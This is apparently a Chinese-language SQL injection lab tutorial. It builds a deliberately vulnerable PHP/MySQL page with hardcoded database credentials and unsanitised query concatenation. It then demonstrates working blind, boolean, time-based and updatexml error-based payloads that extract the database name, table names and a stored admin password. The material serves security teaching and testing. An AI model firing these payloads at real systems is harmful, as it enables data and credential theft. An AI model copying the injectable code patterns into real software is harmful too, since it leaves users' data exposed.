测试环境
ubuntu20+mysql8.0+php7.4
SQL注入分类:
以及因为SQL语法的拼接和注入点的位置分为:
库名:example_vul
建表
CREATE TABLE `user`
( id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL,
PRIMARY KEY ( `id` )
) ENGINE=InnoDB DEFAULT CHARSET=utf8;;
INSERT INTO `user` ( name, password ) VALUES ( 'admin', 'admin123');
INSERT INTO `user` ( name, password ) VALUES ( 'user', 'user123');
php代码
<?php
//数据库连接
ini_set("display_errors", "On"); //报错显示
error_reporting(E_ALL | E_STRICT);
//http://192.168.72.6/example_vul/2.php
$con = mysqli_connect('localhost', 'debian-sys-maint', 'aaaa','example_vul');
if (!$con) {
die('Could not connect: ' . mysqli_error());
}
$method=$_GET['method'];
if($method=='where_int'){
//where数字型注入
//http://192.168.72.6/example_vul/2.php?method=where_int&id=1
$id=$_GET['id'];
$query = "SELECT * FROM user where id =$id";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='like'){
//like类型注入
//http://192.168.72.6/example_vul/2.php?method=like&name=a
$name=$_GET['name'];
$query = "SELECT * FROM `user` where name LIKE '%$name%'";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='insert'){
//insert类型注入
//http://192.168.72.6/example_vul/2.php?method=insert&password=aaaaaaa
$password=$_GET['password'];
$query = "INSERT INTO user ( name, password ) VALUES ( 'user', '$password' );";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
echo 'insert ok!';
}elseif($method=='order_by'){
//order by类型注入
//http://192.168.72.6/example_vul/2.php?method=order_by&order=asc
$order=$_GET['order'];
$query = "SELECT * FROM `user` order by name $order";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='where_string'){
//where字符型注入
//http://192.168.72.6/example_vul/2.php?method=where_string&name=admin
$name=$_GET['name'];
$query = "SELECT * FROM user where name ='$name'";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='where'){
//where报错注入
//http://192.168.72.6/example_vul/2.php?method=where&id=1
$id=$_GET['id'];
$query = "SELECT * FROM user where id =$id";
$result = $con->query($query) or die( 'error: '. $con -> error );;
while( $row = mysqli_fetch_assoc( $result ) ) {
//$data=array("id"=> $row['id'],"name"=> $row['name']);
echo $row['id']."<br>";
echo $row['name'];
}
//echo json_encode($data);
}
盲注步骤
所以目标清晰,开搞!
where数字型注入
http://192.168.72.6/example_vul/2.php?method=where_int&id=1
对应执行的sql语句: SELECT * FROM user where id =1
http://192.168.72.6/example_vul/2.php?method=where_int&id=1-1 等于false
对应执行的sql语句: SELECT * FROM user where id =1-1
http://192.168.72.6/example_vul/2.php?method=where_int&id=1-0 等于true
对应执行的sql语句: SELECT * FROM user where id =1-0
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if(length(database())=11,1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if(length(database())=11,1,exp(11111111111111))
通过burp intruder的功能,穷举遍历database()的值,之后的表名、列名、数据,都是如此。
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if(database() regexp '^example_vul',1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if(database() regexp '^example_vul',1,exp(11111111111111))
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111))
like类型注入
相比于where就只是拼接的语句不一样。
http://192.168.72.6/example_vul/2.php?method=like&name=a
http://192.168.72.6/example_vul/2.php?method=like&name=a' 等于false
http://192.168.72.6/example_vul/2.php?method=like&name=a%'and'1 等于true
http://192.168.72.6/example_vul/2.php?method=like&name=a%'and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'1
对应执行的sql语句: SELECT * FROM user where name LIKE '%a%'and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'1';
insert类型注入,update/delete 同理
在insert盲注时 select查询同一个表时会出现You can’t specify target table ‘message’ for update in FROM clause,所以payload要改下,解决方法:select的结果再通过一个中间表select多一次,就可以避免这个错误。
http://192.168.72.6/example_vul/2.php?method=insert&password=aaaaaaa 替换参数值进行注入
http://192.168.72.6/example_vul/2.php?method=insert&password=1'and 1 and' 等于true
http://192.168.72.6/example_vul/2.php?method=insert&password=11'and if((select password from (SELECT password FROM user) as aaaaaa limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'
对应执行的sql语句: INSERT INTO user ( name, password ) VALUES ( 'user', '1'and if((select password from (SELECT password FROM user) as aaaaaa limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'' );
order by类型注入
http://192.168.72.6/example_vul/2.php?method=order_by&order=asc 替换参数值进行注入
user
order by name ,if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) asc;
where字符型注入
之前都是if判断,这次用下case when 1 then 1 else exp(111111) end
http://192.168.72.6/example_vul/2.php?method=where_string&name=admin
http://192.168.72.6/example_vul/2.php?method=where_string&name=admin'and'999999 等于true
延时注入,因为没有回显,没有响应内容所以不能布尔型盲注,就需要用到延时注入,只需要替换exp()这个函数改为,sleep(3)或者benchmark(10000000,sha(1)) ,通过响应时间作为参考,来进行SQL注入。
报错注入,通过一些函数,直接出数据,不在需要穷举来判断。
http://192.168.72.6/example_vul/2.php?method=where&id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://192.168.72.6/example_vul/2.php?method=where&id=1 and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)